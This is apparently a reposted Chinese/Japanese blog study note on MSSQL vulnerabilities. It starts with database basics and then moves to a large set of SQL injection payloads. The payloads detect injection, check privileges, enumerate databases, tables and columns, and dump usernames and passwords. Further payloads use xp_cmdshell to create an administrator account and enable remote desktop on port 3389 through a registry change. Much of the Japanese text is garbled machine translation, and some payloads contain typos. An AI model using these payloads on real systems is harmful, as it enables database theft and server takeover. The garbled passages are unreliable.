チュートリアルの研究ノート(A):08、MSSQLデータベースの脆弱性

あなたが知っていることはない、人々はあなたが狂った愛が大好き、あなたは長いを送信し、突然彼の心は痛みのようなものを経験し、お邪魔もはや、静かにされていません。

A、MSSQL紹介

MSSQL事業、優れた性能、使いやすさ、優れたビジネスサポート、高精度、学校、政府、オンラインオフィス、ゲーム、チェスや使用している他の部署の多くの種類があります。

ポート:1433

サフィックス:.mdfファイル/ .LDF

SA権限:データベース操作、ファイル管理、コマンド実行、レジストリを読み取って、同等の勝利システムシステム

デシベル権限:文書管理、データベース操作は、システムがadminnstratorsに勝つために相当します

公共機関:データベース操作は、システムがゲストに勝つために相当します

二、SQL Server 2005の

1、インストールが成功し、ログインするためのアカウントのパスワードを入力してください
ここに画像を挿入説明
2、マスター、モデル、MSDB、 tempdbの各データベースには、システムである4つのデータベースが付属しています
ここに画像を挿入説明
3、右クリックしてデータベース、新しいデータベース、自動的に二つのファイルを生成
ここに画像を挿入説明
4は、新しいデータベースの権利をダブルクリックして展開します保存、列名とデータ型を入力して、テーブルを追加し、テーブルをヒット
ここに画像を挿入説明
、そしてあなたが私たちのデータを追加することができ、新しいテーブルを右クリックしてテーブルを開き、5
ここに画像を挿入説明
その後、データベースを削除し、6、あなたが削除するデータベースを右クリックする必要があり、タスクを選択その後、選択的分離、およびデータベースにディレクトリを削除

7、最初のディレクトリに外部データベース、データベースファイルを追加し、データベース内のデータを右クリックし、追加を選択

データベースアップ8、背中、背中にデータベースを選択し、右クリックして[スクリプトの生成]を選択し、サーバのバージョン(個人用の修正版)のために書かれたスクリプトを選択

図9は、データベースを復元し、スクリプトを実行し、SQLステートメント、内のコンテンツをエクスポートしますコピーして、データベースを再構築し、同じコンテンツデータベースのバックアップ内の内容。

第三に、コードの呼び出し

<%

CCTT =「provier = SQLOLEDB;ソース=ローカル; UID = SA; PWD = **;データベース= DATABASE1」

セットでCONN = Server.CreateObjectに(「ADODB.Connectionの」)

conn.open cctt

%>

provider后面的不用管,照写; source后面的可以是ip地址,这里我用的是本地的;sa是内置的用户,它的密码是你在安装的时候设置的; database后面是你要连接的数据库的名称.

四、判断注入

and 1=1 返回正常

and 1=2 返回错误,说明有注入

and user>0 返回正常,说明是sqlserver注入

and (select count(*)from sysobjects)>0 mssql 返回正常,说明是sqlserver注入

猜数表名

and( select count()from[表名])>0

猜字段

and( select Count(字段名)from[表名])>0

猜字段中记录长度

and(select top1len(字段名)from表名)>0

猜字段的asc值( access)

and( (select top1 asc(mid(字段名,1,1)from表名)>0

猜字段的ascii值(mssql)

and( select top1 unicode(substring(字段名1,1)from表名)>0

测试权限结构( mssql)

and 1=(select IS_SRVROLEMEMBER(‘sysadmin’));-- //判断是否是系统管理员

and 1=(select IS_SRVROLEMEMBERC(‘serveradmin’));–

and 1=(select IS_SRVROLEMEMBERC(‘setupadmin’));–

and 1=(select IS_SRVROLEMEMBERC(‘securityadmin’));–

and 1=(select IS_SRVROLEMEMBER(‘diskadmin’));–

and 1=(select IS_SRVROLEMEMBER(‘bulkadmin’);–

and 1=(select is_srvrolemember(‘db_owner’));–//判断是否是库权限

and 1=(select is_srvrolemember(‘public’));–//判断是否是pubilc权限

and 1=convert(int,db_name())或1=(select db_name())//当前数据库名

and 1=(select @@servername)//本地服务名

and 1=(select HAS_DBACCESS(‘master’))//判断是否有库读取权限

猜版本号

id=1 and 1=(select @@version)

id=@@version

猜数据库名称

id=1 and 1=(select db_name())

id=db_name()

获取所有数据库

id=1 and 1=(select name from master…sysdatabases for xml path)

获取第一个用户数据库

id=1 and 1=(select top 1 name from master…sysdatabases where dbid>4) #数据库是从第五个开始排的

获取下一个数据库

id=1 and 1=(select top 1 name from master…sysdatabases where dbid>4 and name <>‘上面查出来的数据库’)

或者

id=1 and 1=(select top 1 name from master…sysdatabases where dbid>5) #一次类推

获取所有表

id=1 and 1=(select name from sysobjects for xml path)

获取第一张表

id=1 and 1=(select top 1 name from sysobjects where xtype=‘u’)

获取下一张表

id=1 and 1=(select top 1 name from sysobjects where xtype=‘u’ and name <>‘上面查出来的表’)

获取表users第一列列名uname

id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘users’))

获取表users第二列列名upass

id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘users’) and name <> ‘uname’)

依次往后爆破

获取表users第一个用户名

?id=1 and 1=(select top 1 uname from users)

获取密码

?id=1 and 1=(select top 1 upass from users)

五、利用xp_cmdshell添加用户

id=1 ;exec master…xp_cmdshell ‘net user username password /add’

id=1 ;exec master… xp_cmdshell ‘net localgroup administrators username /add’ 添加到管理员组

六、开启3389端口

id=1 ;exec master…xp_cmdshell ‘sc config termservice start=auto’

;exec master…xp_cmdshell ‘net start termservice’

; execをマスター... xp_cmdshellを 'REG 『ます。HKEY_LOCAL_MACHINE \ System \ CurrentControlSet \コントロール\ターミナルサーバー』を追加/ vfDenyTSConnections /トンREG_DWORD / dのは0x0 / F'

危険を覚悟で、違法な禁止

国民の関心番号へようこそ:Webセキュリティツールライブラリ
ここに画像を挿入説明

公開された114元の記事 ウォンの賞賛5 ビュー10000 +

おすすめ

転載: blog.csdn.net/weixin_41489908/article/details/104400736